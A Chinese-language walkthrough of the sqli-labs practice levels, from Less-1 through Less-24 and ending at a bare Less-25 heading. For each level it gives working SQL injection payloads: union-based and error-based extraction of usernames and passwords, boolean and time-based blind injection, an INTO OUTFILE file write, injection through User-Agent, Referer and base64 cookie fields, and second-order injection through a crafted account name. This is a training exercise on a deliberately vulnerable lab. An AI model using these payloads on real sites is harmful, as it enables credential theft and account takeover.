sqlilabs 1-22关思路

Less-1

输入?id=1

输入1’,报错,存在注入

  • 判断注入类型:

输入1 and 1=1和1 and 1=2页面都正常,不是数字型注入,输入1’ and ‘1’=’1页面正常,输入1’ and ‘1’=’2页面显示不同,确定为字符型注入

  • 判断字段数:

当order by 4 出现报错,字段数为3(由于是字符型注入,不要忘记加注释符)

  • 确定显示位:

使用联合查询注入,结果分别为2和3

获取当前数据库名和版本号:

数据库名为security,版本号为5.5.53

  • 获取表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

有四张表,同时有users表

  • 获取列名:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

发现有username,password字段

  • 获取具体数据
?id=-1' union select 1,2,group_concat(username,'.',password) from users --+

用group_concat函数将字段值拼接为字符串

可以得到username和password字段的值,这里用.将username和password分隔开了方便查看

Less-2

输入?id=1

id=1’报错,存在注入

  • 判断注入类型

输入1 and 1=1正常,1 and 1=2页面返回空白,确定为数字型注入

其余注入步骤和Less-1相同(除了不需要加注释符)

?id=-1 union select 1,2,group_concat(username,'.',password) from users

Less-3

输入?id=1

?id=1’报错,存在注入,同时我们看到有一个),说明查询语句中有一个),我们要考虑这个括号

是通过')来闭合的

说明数据库的查询语句为

id=(‘$id’) LIMIT 0,1

确定注入类型:

输入1 and 1=1和1 and 1=2页面回显正常,排除数字型

输入1’ and ‘1’=’1页面回显正常,1’ and ‘1’=’2页面回显空白,确定为字符型

接下来的步骤和Less-1相同

判断字段数
?id=1') order by 4--+
确定显示位
?id=-1') union select 1,2,3--+
查询数据库名及版本号
?id=-1') union select 1,database(),version()--+
查询表名
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询具体数据
?id=-1') union select 1,2,group_concat(username,'.',password) from users--+

我们查看Less-3的数据库源代码

可以看到是需要通过')来进行闭合

Less-4

当我们输入?id=1,?id=1’页面返回都正常,我们输入?id=”页面返回报错,说明为双引号字符型注入,同时还需要括号进行闭合

输入?id=1” and “1”=”2页面返回空白,确定为双引号字符型注入

接下来的步骤和Less-3类似(将1')换成1")即可)

判断字段数
?id=1") order by 4--+
确定显示位
?id=-1") union select 1,2,3--+
查询数据库名及版本号
?id=-1") union select 1,database(),version()--+
查询表名
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列名
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询具体数据
?id=-1") union select 1,2,group_concat(username,'.',password) from users--+

Less-5

当我们输入?id=1时,发现跟之前不同了,没有回显位

确定注入类型:

输入1 and 1=1和1 and 1=2页面回显正常,排除数字型

输入1’ and ‘1’=’1页面回显正常,1’ and ‘1’=’2页面回显空白,确定为字符型

因此可知道为字符型盲注,且有两种页面(有回显和无回显)我们可以使用布尔盲注

布尔盲注相对来说花费的时间较久

  1. 判断是否存在注入
  2. 获取数据库长度
  3. 逐字猜解数据库名
  4. 猜解表名数量
  5. 猜解某个表名长度
  6. 逐字猜解表名
  7. 猜解列名数量
  8. 猜解某个列名长度
  9. 逐字猜解列名
  10. 判断数据数量
  11. 猜解某条数据长度
  12. 逐位猜解数据

判断字段数和之前操作相同,使用order by

  • 判断数据库名
判断数据库名长度,使用length()
?id=1' and length(database())>8--+
//>7时有回显,为true,>8时无回显,为false,说明数据库名长度为8

判断数据库名,使用substr()
?id=1' and substr(database(),1,1)>'a'--+
//更改'a'参数可以判断对应位的字符,更改substr的第二个参数可以获取每一位(1-8)

可以使用bp爆破

这两个位置打上爆破点,同时使用bomb爆破(几等奖)

payload1为1-8(数据库名长度位8,爆破每一位)

payload2为a-z字母(数据库名的每一位上的字符)

爆破结果,得出数据库名security

  • 判断表名
判断表的数量,使用count()
?id=1' and (select count(table_name) from information_schema.tables where table_schema='security' limit 0,1)>4 --+
//更改参数4(从1开始,到4发现为false,一共三张表)

判断表名长度,使用length()
?id=1' and (select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)>4 --+
//更改参数4(从1开始递增,可以找到表名长度)
//更改limit 第一个参数(0-2 一共三张表),可以获取每个表的表名长度

获取表名,使用substr()和ascii()
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>65 --+
//65表示字符的ascii码,从65(A)开始递增,爆破出位上的具体字符
//substr的第二个参数,表示某张表的位数
//limit的第一个参数,表示第几张表(0-3)
  • 判断列名
判断列的数量
?id=1' and (select count(column_name) from information_schema.columns where table_name='user' and table_schema='security')>1--+

判断列名长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema='security' and table_name='user' limit 0,1)>1--+

获取列名
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='user' limit 0,1),1,1))>65 --+
  • 获取具体数据
获取列中有多少行数据
?id=1' and (select count(username) from users)=8--+

获取内容长度
?id=1' and (select length(username) from users limit 0,1)=1--+

获取具体数据
?id=1' and ascii(substr((select user from users limit 0,1),1,1))>65--+

Less-6

输入1 and 1=11 and 1=21' and '1'='11' and '1'='2页面都正常,使用双引号,发现为双引号闭合

将单引号换成双引号,其他步骤和Less-5相同

Less-7

我们先判断闭合方式,当输入1’(报错),1”(不报错)->继续尝试?id=1’–+(报错),因此判断闭合符可能为单引号加括号,经过尝试得出闭合方式为单引号加两个括号

闭合方式为?id=1'))--+

接下来就可以用布尔盲注一步步注出来

由于这关提示说让使用outfile,我去搜了一下outfile的用法

MySQL 导出数据 | 菜鸟教程

MySQL 中你可以使用 SELECT…INTO OUTFILE 语句来简单的导出数据到文本文件上。

需要开启文件写入权限(mysql配置文件)

SELECT column1, column2, ...
INTO OUTFILE 'file_path'
FROM your_table
WHERE your_conditions;

说明:
column1, column2, ...: 要选择的列。
'file_path': 指定输出文件的路径和名称。
your_table: 要查询的表。
your_conditions: 查询条件。

在使用outfile之前,因为要使用select,我们需要先判断字段数

得出字段数为3

?id=1')) order by 4--+

构造outfile语句

?id=1')) union select id,username,password into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\sqlilabs\\Less-7\\temp.txt' from users --+

这里由于转义,路径\要进行双写

执行过后,在我的路径下可以看到生成的temp.txt文件

查看文件内容,可以看出我们构造语句的内容得到了输出

Less-8

输入id=1页面正常,id=1’页面空白,存在注入

接下来开始判断注入类型

当输入1’ and ‘1’=’2时,页面空白,说明注入类型为字符型,闭合符为单引号

使用布尔盲注,步骤和Less-5一样

Less-9

不管我们输入什么,页面回显都是一样的,这是布尔盲注已经不适用了(布尔盲注适用于对于true和false两种情况回显不同)我们可以使用时间盲注

时间盲注和布尔盲注类似,通过页面响应时间来判断sql语句是否执行

判断注入类型

当执行1’ and sleep(3)–+时页面响应时间长,大概延长了3s,确定为字符型注入

1 and sleep(3)
1' and sleep(3)%23

使用if函数

if(expr1,expr2,expr3)第一个条件成立就执行expr2,否则执行expr3

判断数据库长度

1' and if(length(database())>8,sleep(3),1)--+

其他的步骤和布尔盲注相同,只需要把布尔盲注的语句填入if中的第一个参数即可

Less-10

我们执行

1 and sleep(3)
1' and sleep(3)%23

发现页面响应时间相同,sleep没有生效,尝试其他闭合

通过判断得到为双引号闭合,其余语句和Less-9相同,将单引号改为双引号即可

?id=1" and sleep(3)--+

Less-11

和之前的界面都不一样

我们随便输入内容,submit后发现url中没有参数,得知为POST请求,我们可以直接在输入框中注入

当我们输入1’,出现报错信息

由报错信息可得,只需要闭合单引号即可

这里我直接在网站里用,–+注释符会报错,用#注释不会报错,可以用#

但是我用bp抓包之后,用–+就不会报错

这里不是太懂,希望师傅们可以传授一二

下面我就用#注释

判断列数:

得到由两列

1'order by 3#

之后就使用union联合注入即可

Less-12

我们输入1和1’页面都没有报错,尝试双引号

并由报错信息得,为双引号括号闭合

页面正常

判断列数:

接下来步骤还是使用union联合查询注入

1") union select group_concat(username),group_concat(password) from users--+

Less-13

和Less-12一样,只需要把双引号换为单引号即可,为单引号加括号闭合

1')#

Less-14

和Less-12一样,为双引号闭合

1"#

Less-15

无论我们输入什么内容,页面都只有一种回显,因此考虑时间盲注

输入下面内容,发现页面响应时间延迟3s,sleep函数生效

admin' and sleep(3)#

这里犯了一个低级的错误,由于之前查询的一直是id,刚开始构造语句写成了1’ and sleep(3)#,一直无法生效,后来一想,哪有1这个username,怎么可能成功…

后面的步骤就使用时间盲注,可以参考Less-9

Less-16

首先无论输入什么页面只有一种回显,考虑时间盲注

我分别尝试了以下几种

admin and sleep(3)
admin' and sleep(3)#
admin" and sleep(3)#
admin') and sleep(3)#
admin") and sleep(3)#//当尝试到这一步时,sleep生效

后面的步骤使用时间盲注即可

Less-17

sqli-labs 通关指南:Less 17 - 乌漆WhiteMoon - 博客园

这一关这位师傅的文章讲的很清晰

总结来讲就是这关有两个sql语句,第一个输入框中输入已知的用户名admin,在第二个输入框中进行注入

第二个输入框中输入1’成功触发报错

使用updatexml()

爆破出数据库名

1' and updatexml(1,concat(0x7e,database()),1)#

当我们想从users表中获取信息时

1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users)),1)#

这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。

1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from (SELECT username,password FROM users)text limit 0,1)),1)#

//text为我们构造的子表的别名

Less-18

这一关比之前的信息多了一个your ip address

可能是会记录每次访问的ip地址,想到uagent注入

源码中对账号和密码做了检查判断,我们要先输入正确的账号密码才能绕过账号密码的判断,才能进入处理uagent

输入正确的账号密码后,更改uagent

直接在uagent后面加上单引号,发现报错信息

sql语句可能为insert into 表 values(‘uagent’,’ip’,’uname’)

我们在uagent注入,闭合需要使用单引号和括号,我们输入1’,2,3)#进行闭合(要符合values语法)

闭合成功

接下来我们使用报错注入,构造payload

获取数据库名

1',2,updatexml(1,concat(0x7e,database()),1))#

获取表名

1',2,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1))#

接下来的操作进行报错注入即可

Less-19

当我们输入正确的账号密码

发现一个referer回显,加入单引号测试

回显报错信息

sql语句可能为insert into 表 values(‘referer’,’ip’),我们尝试闭合

闭合成功,开始注入,构造payload

数据库名

1',updatexml(1,concat('~',database()),1))#

Less-20

当我们正确登录后,发现页面返回了大量的信息,还有一个删除cookie的按钮

当我们再次刷新页面时,没有回到登录页面,这应该是cookie的作用

cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。

当我们点击delete your cookie按钮,即可回到登陆的页面

尝试在输入框中进行注入,发现无法注入,为了找到注入点,我们进行抓包

在用正确的账号密码登录之后,我们发现请求包里有一个cookie字段,当我们刷新之后,新的请求包里也存在这个cookie,可以推断就是因为这个cookie才能够保留我们的登录信息

对cookie测试,触发报错,找到注入点

使用#闭合,报错信息消失,成功闭合,有显示位,我们使用联合查询

判断列数

1'order by 4#

确定显示位

1'union select 1,2,3#

获取数据库名

接下来就为正常的联合查询注入即可

Less-21

这一关和20关类似,我们以正确账号密码登录后,抓包

可以看到这次的cookie是加密的

”%3D“是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码

使用base64解码

解码之后为admin

因此可以得出,cookie的内容只是经过了依次base64编码,我们在注入时也进行base64编码即可

首先加单引号测试注入点

得到报错,根据报错内容可以得知需要括号进行闭合

构造闭合admin’)#

报错消失,闭合成功(这里橙色部分是我的sqlilab可能配置出了点问题导致的)

因为有显示位,我们使用联合查询注入

判断列数

确定显示位

接下来就和联合查询注入步骤一样

Less-22

和Less-21差不多,我们以正确账号密码登录之后,抓包,发现还是有cookie

同样也是base64编码

开始测试,结果为双引号闭合base64编码

Less-23

我们输入?id=1页面正常,开始探测,输入?id=1’页面报错,确定存在注入

判断注入类型,用万能公式 1' and '1'='11' and '1'='2来判断

输入前者页面回显正常,输入后者页面回显空白,确定为字符型注入单引号闭合

但当我想要接着判断列数时,产生报错

由报错信息可知原因是单引号未闭合,可能是注释符被过滤,尝试#也不行

改变思路,如果我们不能用注释符,那我们就不能用order by来判断列数,想要使页面不报错,我们可以使用万能公式

?id=-1'  union select 1,2,3 and '1'='1
我们可以依次增加联合查询的字段数来判断列数

得到列数为3,且确定了显示位

查询数据库名

(但是这里我更改select的第一个字段的值,回显的Your Password的值也没有进行改变,不清楚是什么原因)

获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1

获取列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 and '1'='1

获取具体数据
?id=-1' union select 1,(select group_concat(username,'.',password) from users),3 and '1'='1

Less-24

一共三个页面:登录页面、注册页面、忘记密码页面

看到这里我们可以思考有什么可以注入的地方,在修改密码的时候会带入查询,

我们先注册一个用户admin’#(为闭合做准备)

登录后,修改他的密码,我们这里原密码为123546,修改为111111

回显 显示修改成功

此时修改的是admin的密码

原因就是当我们在修改密码时带入的查询,在修改的用户名处进行了注入,我们的用户名admin’#经过单引号闭合和注释变成了admin,我们修改的就为admin的密码

update users set password='111111' where username='admin '#'

Less-25